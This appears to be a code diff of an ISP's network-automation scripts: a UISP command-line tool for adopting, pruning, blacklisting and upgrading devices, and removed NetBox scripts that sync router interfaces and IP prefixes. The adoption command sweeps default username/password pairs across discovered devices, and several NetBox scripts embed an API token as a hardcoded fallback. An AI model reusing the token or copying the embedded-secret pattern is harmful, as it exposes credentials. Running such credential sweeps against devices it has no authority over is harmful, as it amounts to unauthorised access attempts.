ov = d.get("overview") or {}
cur = ident.get("firmwareVersion") or (d.get("firmware") or {}).get("current") or ""
latest = latest_firmware_for(fws, d)
fw = cur or "-"
if latest and latest != cur and version_lt(cur, latest):
fw = f"{cur}{latest}"
site_name = ""
site = ident.get("site")
if isinstance(site, dict):
site_name = site.get("name") or ""
table.append([
ident.get("id", ""),
disp_name(d),
ident.get("modelName") or ident.get("model") or "",
site_name,
fw,
ov.get("status") or "",
"yes" if ident.get("authorized") else "NO",
"yes" if needs_upgrade(d, fws) else "",
])
widths = [max(len(h), *(len(r[i]) for r in table)) if table else len(h) for i, h in enumerate(headers)]
print(" ".join(h.ljust(w) for h, w in zip(headers, widths)))
for r in table:
print(" ".join(c.ljust(w) for c, w in zip(r, widths)))
def lookup_site_id(name: str) -> str:
sites = api("GET", "/sites")
want = name.strip().lower()
for s in sites:
ident = s.get("identification") or {}
n = ident.get("name") or s.get("name") or ""
if n.lower() == want:
return ident.get("id") or s.get("id")
die(f"site {name!r} not found")
def wait_settle(ids: list[str], timeout_sec: int = 60) -> dict[str, dict]:
"""Poll /devices/discovered until none of the given IDs report
isProcessing=true (or timeout). Returns the latest discovery dict per ID."""
want = set(ids)
deadline = time.time() + timeout_sec
last: dict[str, dict] = {}
while True:
discovered = api("GET", "/devices/discovered") or []
last = {}
still = 0
for d in discovered:
ident = d.get("identification") or {}
did = ident.get("id")
if did not in want:
continue
disc = d.get("discovery") or {}
last[did] = {**disc, "_device": d}
if disc.get("isProcessing"):
still += 1
if still == 0 or time.time() > deadline:
print(f" settled (still processing: {still})")
return last
print(f" ...waiting on {still} device(s)")
time.sleep(5)
def cmd_approve(args: argparse.Namespace) -> None:
discovered = api("GET", "/devices/discovered") or []
by_id = {d["identification"]["id"]: d for d in discovered}
if args.all:
queue = list(discovered)
else:
if not args.ids:
die("usage: uisp approve <id>... | --all")
queue = []
for did in args.ids:
if did not in by_id:
print(f"skip {did}: not in discovered list", file=sys.stderr)
continue
queue.append(by_id[did])
# Devices with model "UNKNOWN" are SNMP-discovered stubs UISP can't manage —
# connect/ubnt always fails on them, so don't burn cycles trying.
if not args.include_unknown:
before = len(queue)
queue = [d for d in queue if (d.get("identification") or {}).get("model") not in ("", None, "UNKNOWN")]
skipped = before - len(queue)
if skipped:
print(f"skipping {skipped} device(s) with model=UNKNOWN (use --include-unknown to override)")
if not queue:
print("no devices pending adoption.")
return
queue_ids = [d["identification"]["id"] for d in queue]
print(f"queue ({len(queue)} device(s)):")
for d in queue:
ident = d["identification"]
print(f" {ident['id']} {disp_name(d):<32} {ident.get('modelName') or ident.get('model','')}")
site_id = ""
if args.site:
site_id = lookup_site_id(args.site)
print(f"site {args.site!r} resolved to id {site_id}")
if args.dry_run:
print(f"\ndry-run: would try {len(STANDARD_CREDS)} credential combo(s)" +
(f" then assign to site {args.site!r}" if site_id else ""))
return
# Cred sweep — each pass only triggers connect on still-retryable IDs.
retry_ids = list(queue_ids)
for i, (user, pw) in enumerate(STANDARD_CREDS, 1):
if not retry_ids:
break
print(f"\n[{i}/{len(STANDARD_CREDS)}] trying user={user} pw={pw} on {len(retry_ids)} device(s)...")
try:
api("POST", "/discovery/connect/ubnt", {
"deviceIds": retry_ids,
"username": user,
"password": pw,
"httpsPort": args.port,
})
except SystemExit:
print(" connect call failed; moving on", file=sys.stderr)
continue
statuses = wait_settle(retry_ids, timeout_sec=args.poll_timeout)
# Keep only IDs that are still retryable for the next cred.
next_retry = []
for did in retry_ids:
st = statuses.get(did, {}).get("status", "")
if st in RETRYABLE_DISCOVERY_STATUSES:
next_retry.append(did)
retry_ids = next_retry
# Final reconciliation.
fleet = api("GET", "/devices?withInterfaces=false") or []
fleet_by_id = {d["identification"]["id"]: d for d in fleet}
final_disc = {d["identification"]["id"]: d for d in (api("GET", "/devices/discovered") or [])}
adopted, failed = [], []
for did in queue_ids:
d = fleet_by_id.get(did)
if d and d["identification"].get("type") != "blackBox":
adopted.append(did)
else:
failed.append(did)
if adopted:
print(f"\nadopted {len(adopted)} device(s):")
for did in adopted:
print(f" {did} {disp_name(fleet_by_id[did])}")
if failed:
# Group by status for a tidy summary.
groups: dict[str, list[tuple[str, str, str]]] = {}
for did in failed:
d = final_disc.get(did) or by_id.get(did) or {}
disc = d.get("discovery") or {}
status = disc.get("status") or "unknown"
err = disc.get("error") or ""
groups.setdefault(status, []).append((did, disp_name(d), err))
print(f"\n{len(failed)} device(s) still pending:")
for status in sorted(groups):
entries = groups[status]
print(f" [{status}] ({len(entries)})")
for did, name, err in entries:
line = f" {did} {name}"
if err:
line += f"{err}"
print(line)
if site_id and adopted:
print(f"\nassigning {len(adopted)} adopted device(s) to site {args.site!r}...")
api("POST", "/devices/authorize", {"siteId": site_id, "deviceIds": adopted})
print(" done.")
def parse_uisp_time(s: str | None) -> dt.datetime | None:
"""UISP returns ISO 8601 like '2026-04-15T00:08:42.587Z'. Returns aware UTC dt."""
if not s:
return None
s = s.replace("Z", "+00:00")
try:
return dt.datetime.fromisoformat(s)
except ValueError:
return None
def cmd_prune(args: argparse.Namespace) -> None:
devs = api("GET", "/devices?withInterfaces=false") or []
now = dt.datetime.now(dt.timezone.utc)
cutoff = now - dt.timedelta(days=args.days)
stale = []
for d in devs:
ident = d.get("identification") or {}
ov = d.get("overview") or {}
last_seen = parse_uisp_time(ov.get("lastSeen"))
if last_seen is not None and last_seen >= cutoff:
continue
if last_seen is None and args.skip_never_seen:
continue
# Skip backbone routers / switches by default — losing one of these from
# UISP just because it's not reporting in would be an own-goal.
if not args.include_infra and ident.get("type") in {"erouter", "eswitch", "olt"}:
continue
if not args.include_infra and ident.get("role") in {"router", "switch", "gateway"}:
continue
stale.append((d, last_seen))
if not stale:
print(f"no devices offline longer than {args.days} day(s).")
return
stale.sort(key=lambda t: t[1] or dt.datetime.min.replace(tzinfo=dt.timezone.utc))
# Summary buckets so the user can sanity-check before approving.
summary: Counter = Counter()
type_summary: Counter = Counter()
for d, last_seen in stale:
if last_seen is None:
bucket = "never seen"
else:
age_days = (now - last_seen).days
if age_days > 30:
bucket = ">30d offline"
elif age_days > 7:
bucket = "7-30d offline"
else:
bucket = "1-7d offline"
summary[bucket] += 1
type_summary[(bucket, (d.get("identification") or {}).get("type") or "?")] += 1
print(f"{len(stale)} device(s) eligible for prune (offline > {args.days}d, including never-seen={'no' if args.skip_never_seen else 'yes'}):")
for bucket, n in summary.most_common():
print(f" {n:>4} {bucket}")
print()
print("by bucket × type:")
for (bucket, t), n in sorted(type_summary.items()):
print(f" {n:>4} {bucket:<14} type={t}")
print()
if args.verbose:
print("detail:")
for d, last_seen in stale:
ident = d["identification"]
site_name = ""
if isinstance(ident.get("site"), dict):
site_name = ident["site"].get("name") or ""
age = "never seen" if last_seen is None else f"{(now - last_seen).days}d"
print(f" {ident['id']} {disp_name(d):<30} "
f"{ident.get('modelName') or ident.get('model',''):<22} "
f"site={site_name:<14} offline={age}")
print()
if not args.yes:
print(f"dry-run: pass --yes to delete these {len(stale)} device(s) (use --verbose to see each one).")
return
ids = [d["identification"]["id"] for d, _ in stale]
api("POST", "/devices/bulkdelete", {"ids": ids})
print(f"deleted {len(ids)} device(s).")
# Whitelist of fields UISP's PUT /nms/settings will accept. Extracted from the
# UI bundle (`hZr` array). Anything else triggers a 400 like "X is not allowed".
SETTINGS_PUT_ALLOWED = {
"allowAutoUpdateUbntFirmwares", "allowBetaFirmwares", "allowLoggingToLogentries",
"allowLoggingToSentry", "allowNewFirmware", "autoUpdatePlatforms", "country",
"dateFormat", "defaultGracePeriod", "defaultQosPropagation", "devicePingAddress",
"devicePingAddressMode", "devicePingIntervalNormal", "devicePingIntervalOutage",
"deviceTransmissionFrequencies", "deviceTransmissionProfile", "deviceUpdateNotification",
"discoveryAllowLocalScan", "discoveryAllowRemoteScan", "discoveryAllowUnsecuredChannels",
"discoveryAutoConfiguration", "discoveryBlacklist", "discoveryHideBlackBox",
"discoveryNotification", "discoverySnmpCommunity", "googleMapsApiKey", "homePage",
"hostname", "isOnuDisabledOnSubscriberSuspend", "maintenanceWindowFriday",
"maintenanceWindowFromTime", "maintenanceWindowMonday", "maintenanceWindowSaturday",
"maintenanceWindowSunday", "maintenanceWindowThursday", "maintenanceWindowToTime",
"maintenanceWindowTuesday", "maintenanceWindowWednesday", "mapsProvider",
"migrationForceModeEnabled", "migrationWithBackupEnabled", "migrationUispKey",
"migrationHostname", "migrationModeEnabled", "migrationPort", "outageMailablePeriod",
"parallelUpgradeLimit", "restartGracePeriod", "tableDensity", "timeFormat",
"timezone", "trafficShapingAdjustment", "upgradeGracePeriod", "useLetsEncrypt",
}
def put_nms_settings(updates: dict) -> None:
"""GET current settings, merge updates, filter to PUT-allowed fields, PUT."""
current = api("GET", "/nms/settings") or {}
merged = {**current, **updates}
body = {k: v for k, v in merged.items() if k in SETTINGS_PUT_ALLOWED}
api("PUT", "/nms/settings", body)
def cmd_ignore(args: argparse.Namespace) -> None:
"""Add IPs of model=UNKNOWN devices to UISP's discoveryBlacklist so they
stop reappearing, then delete the stub records."""
# Pull from both /devices/discovered (pending) and /devices (adopted but
# blackBox) since the SNMP-stub population shows up in both lists.
discovered = api("GET", "/devices/discovered") or []
fleet = api("GET", "/devices?withInterfaces=false") or []
pool = []
for d in discovered + fleet:
ident = d.get("identification") or {}
if ident.get("model") in ("", None, "UNKNOWN") or ident.get("type") == "blackBox":
pool.append(d)
# Dedupe by id (a device can appear in both lists).
seen_ids: set[str] = set()
targets = []
for d in pool:
did = (d.get("identification") or {}).get("id")
if did and did not in seen_ids:
seen_ids.add(did)
targets.append(d)
ip_set: dict[str, dict] = {} # ip -> first device that has it
no_ip = []
for d in targets:
ip = d.get("ipAddress") or ""
ip = ip.split("/")[0].strip()
if ip:
ip_set.setdefault(ip, d)
else:
no_ip.append(d)
if not ip_set and not no_ip:
print("no UNKNOWN/blackBox devices found.")
return
settings = api("GET", "/nms/settings")
current_bl = settings.get("discoveryBlacklist") or []
if isinstance(current_bl, str):
current_bl = [x.strip() for x in current_bl.split(",") if x.strip()]
current_set = set(current_bl)
new_ips = sorted(ip for ip in ip_set if ip not in current_set)
print(f"found {len(targets)} UNKNOWN/blackBox device(s) "
f"({len(ip_set)} unique IP(s), {len(no_ip)} without IP)")
print(f"already blacklisted: {len(current_set)}")
print(f"new IPs to blacklist: {len(new_ips)}")
if new_ips and args.verbose:
for ip in new_ips:
d = ip_set[ip]
ident = d["identification"]
print(f" {ip:<16} {ident.get('hostname') or ident.get('name') or '?'}")
if args.dry_run:
print(f"\ndry-run: would add {len(new_ips)} IP(s) to discoveryBlacklist "
f"and delete {len(targets)} stub record(s).")
return
if new_ips:
merged = sorted(current_set | set(new_ips))
put_nms_settings({"discoveryBlacklist": merged})
print(f"blacklist updated: {len(current_set)}{len(merged)} entries")
if targets:
ids = [d["identification"]["id"] for d in targets]
# bulkdelete handles batches comfortably; UISP returns 200 with no body.
api("POST", "/devices/bulkdelete", {"ids": ids})
print(f"deleted {len(ids)} stub record(s).")
def cmd_upgrade(args: argparse.Namespace) -> None:
devs = api("GET", "/devices?withInterfaces=false") or []
fws = api("GET", "/firmwares") or []
by_id = {d["identification"]["id"]: d for d in devs}
targets = []
if args.all:
for d in devs:
if needs_upgrade(d, fws):
targets.append(d)
else:
if not args.ids:
die("usage: uisp upgrade <id>... | --all")
for did in args.ids:
d = by_id.get(did)
if not d:
print(f"skip {did}: not found", file=sys.stderr)
continue
if not needs_upgrade(d, fws) and not args.force:
ident = d["identification"]
cur = ident.get("firmwareVersion") or "?"
latest = latest_firmware_for(fws, d) or "?"
print(f"skip {did} ({disp_name(d)}): already on {cur} (latest {latest}) — pass --force to override",
file=sys.stderr)
continue
targets.append(d)
if not targets:
print("no devices need upgrade.")
return
print(f"upgrade plan ({len(targets)} device(s)):")
for d in targets:
ident = d["identification"]
cur = ident.get("firmwareVersion") or "?"
latest = latest_firmware_for(fws, d) or "?"
print(f" {ident['id']} {disp_name(d):<30} {cur}{latest}")
if not args.yes:
print(f"\ndry-run: pass --yes to actually trigger upgrades.")
return
batch_size = max(1, args.batch_size)
n_batches = (len(targets) + batch_size - 1) // batch_size
failed_total = 0
for batch_idx in range(n_batches):
batch = targets[batch_idx * batch_size:(batch_idx + 1) * batch_size]
print(f"\n=== batch {batch_idx + 1}/{n_batches}: {len(batch)} device(s) ===")
# Build the upgrades payload and POST one task per device. UISP's
# actual upgrade endpoint is POST /tasks with
# {upgrades: [{deviceId, firmwareVersion}], upgradeInMaintenanceWindow}.
# /devices/{id}/update only refreshes device data — it does NOT
# trigger a firmware upgrade.
triggered: list[tuple[str, str, str]] = [] # (id, name, target_version)
upgrades = []
for d in batch:
did = d["identification"]["id"]
target_v = latest_firmware_for(fws, d)
if not target_v:
print(f" skip {did} {disp_name(d)}: no catalog firmware match", file=sys.stderr)
failed_total += 1
continue
upgrades.append({
"deviceId": did,
"firmwareVersion": target_v,
})
triggered.append((did, disp_name(d), target_v))
if upgrades:
try:
api("POST", "/tasks", {
"upgrades": upgrades,
"upgradeInMaintenanceWindow": False,
})
for did, name, tv in triggered:
print(f" trigger OK {did} {name:<30}{tv}")
except SystemExit:
print(f" batch trigger FAILED for {len(upgrades)} device(s)", file=sys.stderr)
failed_total += len(upgrades)
triggered = []
if not args.wait:
# No completion wait — just space batches out so we don't blast
# the whole fleet simultaneously.
if batch_idx + 1 < n_batches:
print(f" sleeping {args.batch_delay}s before next batch...")
time.sleep(args.batch_delay)
continue
# Wait for every device in this batch to land on its target version.
deadline = time.time() + args.wait_timeout
pending = {did: (name, tv) for did, name, tv in triggered}
while pending and time.time() < deadline:
time.sleep(20)
current = api("GET", "/devices?withInterfaces=false") or []
cur_by_id = {x["identification"]["id"]: x for x in current}
for did in list(pending.keys()):
name, tv = pending[did]
d = cur_by_id.get(did)
if not d:
continue
cur = d["identification"].get("firmwareVersion") or ""
if cur and tv != "?" and not version_lt(cur, tv):
print(f" done {did} {name:<30} on {cur}")
del pending[did]
if pending:
print(f" ...waiting on {len(pending)} device(s) "
f"({int(deadline - time.time())}s left)")
if pending:
print(f" batch timeout: {len(pending)} device(s) didn't finish in {args.wait_timeout}s; "
f"continuing anyway")
for did, (name, tv) in pending.items():
print(f" still pending {did} {name}{tv}")
failed_total += 1
if failed_total:
print(f"\n{failed_total} device(s) had problems (failed trigger or didn't complete in time).")
else:
print(f"\nall {len(targets)} device(s) processed.")
# ---------- argparse wiring ----------
def main() -> None:
p = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter)
sub = p.add_subparsers(dest="cmd", required=True)
pl = sub.add_parser("list", help="list devices")
pl.add_argument("--unauthorized", action="store_true", help="show only pending-adoption devices")
pl.add_argument("--upgradable", action="store_true", help="show only devices with a firmware update")
pl.add_argument("--json", action="store_true", help="emit parsed JSON")
pl.add_argument("--raw", action="store_true", help="dump raw API JSON (debug)")
pl.add_argument("--include-unknown", action="store_true",
help="include model=UNKNOWN devices in --unauthorized output (hidden by default)")
pl.set_defaults(func=cmd_list)
pa = sub.add_parser("approve", help="adopt pending-adoption devices")
pa.add_argument("ids", nargs="*", help="device IDs to adopt")
pa.add_argument("--all", action="store_true", help="adopt every pending-adoption device")
pa.add_argument("--site", default="vntx", help="site name to assign adopted devices to (empty = skip)")
pa.add_argument("--port", type=int, default=443, help="HTTPS port UISP uses to reach the device")
pa.add_argument("--poll-timeout", type=int, default=60, help="seconds to wait for each cred attempt to settle")
pa.add_argument("--dry-run", action="store_true")
pa.add_argument("--include-unknown", action="store_true",
help="also try to adopt devices with model=UNKNOWN (SNMP stubs; almost never adoptable)")
pa.set_defaults(func=cmd_approve)
pi = sub.add_parser("ignore",
help="blacklist IPs of UNKNOWN/blackBox devices and delete the stubs so they stop coming back")
pi.add_argument("--dry-run", action="store_true")
pi.add_argument("--verbose", "-v", action="store_true", help="list every IP being added")
pi.set_defaults(func=cmd_ignore)
pp = sub.add_parser("prune", help="delete devices offline longer than N days")
pp.add_argument("--days", type=float, default=1.0, help="offline threshold in days (default: 1)")
pp.add_argument("--yes", action="store_true", help="actually delete (default: dry-run)")
pp.add_argument("--include-infra", action="store_true",
help="also prune routers/switches/OLTs (default: skipped)")
pp.add_argument("--skip-never-seen", action="store_true",
help="exclude devices with no lastSeen timestamp (SNMP stubs that never adopted)")
pp.add_argument("--verbose", "-v", action="store_true", help="list every device, not just summary")
pp.set_defaults(func=cmd_prune)
pu = sub.add_parser("upgrade", help="upgrade firmware")
pu.add_argument("ids", nargs="*", help="device IDs to upgrade")
pu.add_argument("--all", action="store_true", help="upgrade every device with a newer firmware available")
pu.add_argument("--yes", action="store_true", help="actually trigger upgrades (default: dry-run)")
pu.add_argument("--force", action="store_true", help="upgrade even if already on latest")
pu.add_argument("--batch-size", type=int, default=5,
help="how many devices to upgrade in parallel per batch (default: 5)")
pu.add_argument("--wait", action="store_true",
help="wait for each batch to land on the new firmware before starting the next")
pu.add_argument("--wait-timeout", type=int, default=900,
help="seconds to wait per batch when --wait is set (default: 900)")
pu.add_argument("--batch-delay", type=int, default=30,
help="seconds to sleep between batches when --wait is NOT set (default: 30)")
pu.set_defaults(func=cmd_upgrade)
args = p.parse_args()
args.func(args)
if __name__ == "__main__":
main()

View file

@ -1,104 +0,0 @@
#!/usr/bin/env python3
import os
import requests
import json
from urllib.parse import urljoin
# Get API token
api_token = os.environ.get('NETBOX_KEY', 'e50298f7fd20f7fd6f1931f635511b34f6e8cfde')
# NetBox API setup
base_url = 'https://netbox.vntx.net/'
api_url = urljoin(base_url, 'api/')
headers = {
'Authorization': f'Token {api_token}',
'Content-Type': 'application/json',
'Accept': 'application/json'
}
print("=== Updating 380 Edge Router in NetBox ===\n")
# Edge router specific data
edge_device_id = 9
site_id = 8
# Update primary IP assignment for edge router
print("Assigning primary IP to edge router...")
try:
# First create interface on edge router
interface_data = {
'device': edge_device_id,
'name': 'loopback',
'type': 'virtual',
'enabled': True
}
response = requests.post(f"{api_url}dcim/interfaces/", headers=headers, json=interface_data)
if response.status_code == 201:
interface_id = response.json()['id']
print(f"✓ Created loopback interface (ID: {interface_id})")
# Assign IP to interface
ip_update = {
'assigned_object_type': 'dcim.interface',
'assigned_object_id': interface_id
}
# Find the IP
ip_response = requests.get(f"{api_url}ipam/ip-addresses/",
headers=headers,
params={'address': '10.254.254.254/32'})
if ip_response.json()['count'] > 0:
ip_id = ip_response.json()['results'][0]['id']
patch_response = requests.patch(f"{api_url}ipam/ip-addresses/{ip_id}/",
headers=headers,
json=ip_update)
if patch_response.status_code == 200:
print("✓ Assigned IP to loopback interface")
# Set as primary IP for device
device_update = {'primary_ip4': ip_id}
device_response = requests.patch(f"{api_url}dcim/devices/{edge_device_id}/",
headers=headers,
json=device_update)
if device_response.status_code == 200:
print("✓ Set as primary IP for edge router")
except Exception as e:
print(f"Error: {e}")
# Create interfaces for edge router
print("\n=== Creating Edge Router Interfaces ===")
interfaces = [
'sfp-sfpplus7-core-direct',
'sfp-sfpplus8-server-switch',
'sfp-sfpplus11-preseem',
'sfp-sfpplus12-spectrum',
'cgnat',
'vlan9_sfpplus8'
]
for interface in interfaces:
# Check if already exists
check = requests.get(f"{api_url}dcim/interfaces/",
headers=headers,
params={'device_id': edge_device_id, 'name': interface})
if check.json()['count'] == 0:
if 'vlan' in interface or interface == 'cgnat':
itype = 'virtual'
else:
itype = '10gbase-x-sfpp' # SFP+ interfaces
interface_data = {
'device': edge_device_id,
'name': interface,
'type': itype,
'enabled': True
}
response = requests.post(f"{api_url}dcim/interfaces/", headers=headers, json=interface_data)
if response.status_code == 201:
print(f"✓ Created interface: {interface}")
else:
print(f"✗ Failed to create interface: {interface}")
print("\n✓ Edge router update complete!")

View file

@ -1,369 +0,0 @@
#!/usr/bin/env python3
import os
import sys
import json
import argparse
import requests
from urllib.parse import urljoin
class NetBoxUpdater:
def __init__(self, url, token):
self.base_url = url.rstrip('/')
self.api_url = urljoin(self.base_url + '/', 'api/')
self.headers = {
'Authorization': f'Token {token}',
'Content-Type': 'application/json',
'Accept': 'application/json'
}
self.session = requests.Session()
self.session.headers.update(self.headers)
def post(self, endpoint, data):
"""Make POST request to NetBox API"""
url = urljoin(self.api_url, endpoint.lstrip('/'))
response = self.session.post(url, json=data)
if response.status_code not in [200, 201]:
print(f"Error creating {endpoint}: {response.status_code}")
print(f"Response: {response.text}")
response.raise_for_status()
return response.json()
def patch(self, endpoint, data):
"""Make PATCH request to NetBox API"""
url = urljoin(self.api_url, endpoint.lstrip('/'))
response = self.session.patch(url, json=data)
if response.status_code not in [200, 201]:
print(f"Error updating {endpoint}: {response.status_code}")
print(f"Response: {response.text}")
response.raise_for_status()
return response.json()
def get(self, endpoint, params=None):
"""Make GET request to NetBox API"""
url = urljoin(self.api_url, endpoint.lstrip('/'))
response = self.session.get(url, params=params)
response.raise_for_status()
return response.json()
def get_or_create_role(self, name, slug=None):
"""Get or create an IPAM role"""
if not slug:
slug = name.lower().replace(' ', '-')
response = self.get('ipam/roles/', params={'slug': slug})
if response['count'] > 0:
return response['results'][0]['id']
# Create role
role_data = {
'name': name,
'slug': slug
}
created = self.post('ipam/roles/', role_data)
return created['id']
def determine_prefix_role(interface, description=''):
"""Determine the role of a prefix based on interface name and description"""
interface_lower = str(interface).lower()
# Infrastructure links
if any(term in interface_lower for term in ['airfiber', '11ghz', '24ghz', 'backhaul', 'ether3', 'ether4', 'ether5', 'ether6']):
return 'infrastructure'
# Loopback
if 'loopback' in interface_lower or interface == 'lo':
return 'loopback'
# Management
if any(term in interface_lower for term in ['mgmt', 'management', 'ether1']):
return 'management'
# Customer bridges
if 'bridge' in interface_lower or 'pppoe' in interface_lower:
return 'customer'
# VLANs are often customer-facing
if 'vlan' in interface_lower:
return 'customer'
return 'infrastructure' # Default
def process_router_data(json_file, site_name, dry_run=False):
"""Process router data JSON and update NetBox"""
# Load router data
with open(json_file, 'r') as f:
router_data = json.load(f)
# Get API token
api_token = os.environ.get('NETBOX_KEY', 'e50298f7fd20f7fd6f1931f635511b34f6e8cfde')
nb = NetBoxUpdater('https://netbox.vntx.net/', api_token)
print(f"=== Processing Router Data for {site_name} ===\n")
# Get site ID
site_response = nb.get('dcim/sites/', params={'name': site_name})
if site_response['count'] == 0:
print(f"Error: Site '{site_name}' not found in NetBox")
print(f"Please create the site first using: python3 create_site_and_router.py {site_name} {router_data['host']}")
return False
site_id = site_response['results'][0]['id']
print(f"Found site: {site_name} (ID: {site_id})")
# Get device
device_response = nb.get('dcim/devices/', params={'site_id': site_id})
if device_response['count'] == 0:
print(f"Error: No device found for site '{site_name}'")
return False
device = device_response['results'][0]
device_id = device['id']
device_name = device['name']
print(f"Found device: {device_name} (ID: {device_id})\n")
# Get or create roles
role_mapping = {
'infrastructure': 'Infrastructure',
'loopback': 'Loopback',
'customer': 'Customer',
'management': 'Management'
}
if not dry_run:
print("Setting up IPAM roles...")
role_ids = {}
for key, name in role_mapping.items():
role_ids[key] = nb.get_or_create_role(name, key)
print(f"{name}")
print()
# Process subnets (non-dynamic only)
static_subnets = [s for s in router_data['subnets'] if not s.get('dynamic', False)]
print(f"=== Processing {len(static_subnets)} Static Subnets ===")
prefixes_to_create = []
ips_to_create = []
for subnet in static_subnets:
address = subnet['address']
network = subnet['network']
interface = subnet['interface']
comment = subnet.get('comment', '')
# Skip PPPoE dynamic IPs
if str(interface).startswith('<pppoe-'):
continue
# Determine if it's a host IP or a subnet
if address.endswith('/32'):
# It's a host IP
role = determine_prefix_role(interface, comment)
ips_to_create.append({
'address': address,
'interface': interface,
'description': comment or f"{device_name} - {interface}",
'role': role
})
else:
# It's a subnet
prefix_bits = address.split('/')[-1]
prefix = f"{network}/{prefix_bits}"
role = determine_prefix_role(interface, comment)
prefixes_to_create.append({
'prefix': prefix,
'interface': interface,
'description': comment or f"{site_name} - {interface}",
'role': role,
'gateway_ip': address
})
if dry_run:
print("\n=== DRY RUN - Would create the following: ===\n")
print(f"Prefixes ({len(prefixes_to_create)}):")
for p in prefixes_to_create:
print(f" - {p['prefix']} ({p['role']}) - {p['description']}")
print(f"\nIP Addresses ({len(ips_to_create)}):")
for ip in ips_to_create:
print(f" - {ip['address']} ({ip['role']}) - {ip['description']}")
return True
# Create prefixes
print(f"\n=== Creating/Updating {len(prefixes_to_create)} Prefixes ===")
created_prefixes = 0
failed_prefixes = 0
for item in prefixes_to_create:
# Check if prefix already exists
prefix_response = nb.get('ipam/prefixes/', params={'prefix': item['prefix']})
prefix_data = {
'prefix': item['prefix'],
'site': site_id,
'status': 'active',
'description': item['description'],
'is_pool': False
}
if role_ids.get(item['role']):
prefix_data['role'] = role_ids[item['role']]
try:
if prefix_response['count'] == 0:
# Create new prefix
created_prefix = nb.post('ipam/prefixes/', prefix_data)
print(f"✓ Created prefix: {item['prefix']} - {item['description']}")
created_prefixes += 1
else:
# Update existing prefix
existing_id = prefix_response['results'][0]['id']
updated_prefix = nb.patch(f'ipam/prefixes/{existing_id}/', prefix_data)
print(f"✓ Updated prefix: {item['prefix']} - {item['description']}")
created_prefixes += 1
# Create gateway IP if needed
if item.get('gateway_ip'):
gw_response = nb.get('ipam/ip-addresses/', params={'address': item['gateway_ip']})
if gw_response['count'] == 0:
gw_data = {
'address': item['gateway_ip'],
'status': 'active',
'description': f"{item['interface']} gateway - {item['description']}",
'role': 'anycast' if item['role'] == 'infrastructure' else None
}
try:
nb.post('ipam/ip-addresses/', gw_data)
print(f" ✓ Created gateway IP: {item['gateway_ip']}")
except:
pass
except Exception as e:
print(f"✗ Failed to create/update prefix {item['prefix']}: {e}")
failed_prefixes += 1
print(f"\nPrefix Summary: {created_prefixes} successful, {failed_prefixes} failed")
# Create IP addresses
print(f"\n=== Creating/Updating {len(ips_to_create)} IP Addresses ===")
created_ips = 0
failed_ips = 0
for item in ips_to_create:
# Check if IP already exists
ip_response = nb.get('ipam/ip-addresses/', params={'address': item['address']})
ip_data = {
'address': item['address'],
'status': 'active',
'description': item['description']
}
if item['role'] == 'loopback':
ip_data['role'] = 'loopback'
try:
if ip_response['count'] == 0:
# Create new IP
created_ip = nb.post('ipam/ip-addresses/', ip_data)
print(f"✓ Created IP: {item['address']} - {item['description']}")
created_ips += 1
else:
# Update existing IP
existing_id = ip_response['results'][0]['id']
updated_ip = nb.patch(f'ipam/ip-addresses/{existing_id}/', ip_data)
print(f"✓ Updated IP: {item['address']} - {item['description']}")
created_ips += 1
except Exception as e:
print(f"✗ Failed to create/update IP {item['address']}: {e}")
failed_ips += 1
print(f"\nIP Summary: {created_ips} successful, {failed_ips} failed")
# Create interfaces on the device
print(f"\n=== Creating Device Interfaces ===")
created_interfaces = 0
# Get unique interfaces from both subnets and active interfaces
interface_set = set()
for subnet in static_subnets:
if not str(subnet['interface']).startswith('<'):
interface_set.add(str(subnet['interface']))
for iface in router_data.get('interfaces', []):
if not str(iface['name']).startswith('<'):
interface_set.add(str(iface['name']))
for interface_name in sorted(interface_set):
# Check if interface exists
interface_response = nb.get('dcim/interfaces/', params={
'device_id': device_id,
'name': interface_name
})
if interface_response['count'] == 0:
# Determine interface type
if 'vlan' in interface_name.lower():
iface_type = 'virtual'
elif 'bridge' in interface_name.lower():
iface_type = 'bridge'
elif 'loopback' in interface_name.lower() or interface_name == 'lo':
iface_type = 'virtual'
else:
iface_type = '1000base-t' # Default to gigabit ethernet
interface_data = {
'device': device_id,
'name': interface_name,
'type': iface_type,
'enabled': True
}
try:
created_interface = nb.post('dcim/interfaces/', interface_data)
print(f"✓ Created interface: {interface_name} ({iface_type})")
created_interfaces += 1
except Exception as e:
print(f"✗ Failed to create interface {interface_name}: {e}")
print(f"\nCreated {created_interfaces} new interfaces")
print(f"\n=== Update Complete ===")
print(f"Site: {site_name}")
print(f"Device: {device_name}")
print(f"Prefixes: {created_prefixes}/{len(prefixes_to_create)}")
print(f"IPs: {created_ips}/{len(ips_to_create)}")
print(f"Interfaces: {created_interfaces}")
return True
def main():
parser = argparse.ArgumentParser(description='Update NetBox with router data from JSON file')
parser.add_argument('json_file', help='Path to router data JSON file')
parser.add_argument('site_name', help='Name of the site in NetBox')
parser.add_argument('--dry-run', action='store_true', help='Show what would be created without making changes')
args = parser.parse_args()
# Check if file exists
if not os.path.exists(args.json_file):
print(f"Error: File '{args.json_file}' not found")
return 1
# Process the data
success = process_router_data(args.json_file, args.site_name, args.dry_run)
return 0 if success else 1
if __name__ == "__main__":
sys.exit(main())

View file

@ -1,298 +0,0 @@
#!/usr/bin/env python3
import requests
import json
from urllib.parse import urljoin
class NetBoxUpdater:
def __init__(self, url, token):
self.base_url = url.rstrip('/')
self.api_url = urljoin(self.base_url + '/', 'api/')
self.headers = {
'Authorization': f'Token {token}',
'Content-Type': 'application/json',
'Accept': 'application/json'
}
self.session = requests.Session()
self.session.headers.update(self.headers)
def post(self, endpoint, data):
"""Make POST request to NetBox API"""
url = urljoin(self.api_url, endpoint.lstrip('/'))
response = self.session.post(url, json=data)
if response.status_code not in [200, 201]:
print(f"Error creating {endpoint}: {response.status_code}")
print(f"Response: {response.text}")
response.raise_for_status()
return response.json()
def patch(self, endpoint, data):
"""Make PATCH request to NetBox API"""
url = urljoin(self.api_url, endpoint.lstrip('/'))
response = self.session.patch(url, json=data)
if response.status_code not in [200, 201]:
print(f"Error updating {endpoint}: {response.status_code}")
print(f"Response: {response.text}")
response.raise_for_status()
return response.json()
def get(self, endpoint, params=None):
"""Make GET request to NetBox API"""
url = urljoin(self.api_url, endpoint.lstrip('/'))
response = self.session.get(url, params=params)
response.raise_for_status()
return response.json()
def main():
# NetBox connection
import os
api_token = os.environ.get('NETBOX_KEY', 'e50298f7fd20f7fd6f1931f635511b34f6e8cfde')
nb = NetBoxUpdater('https://netbox.vntx.net/', api_token)
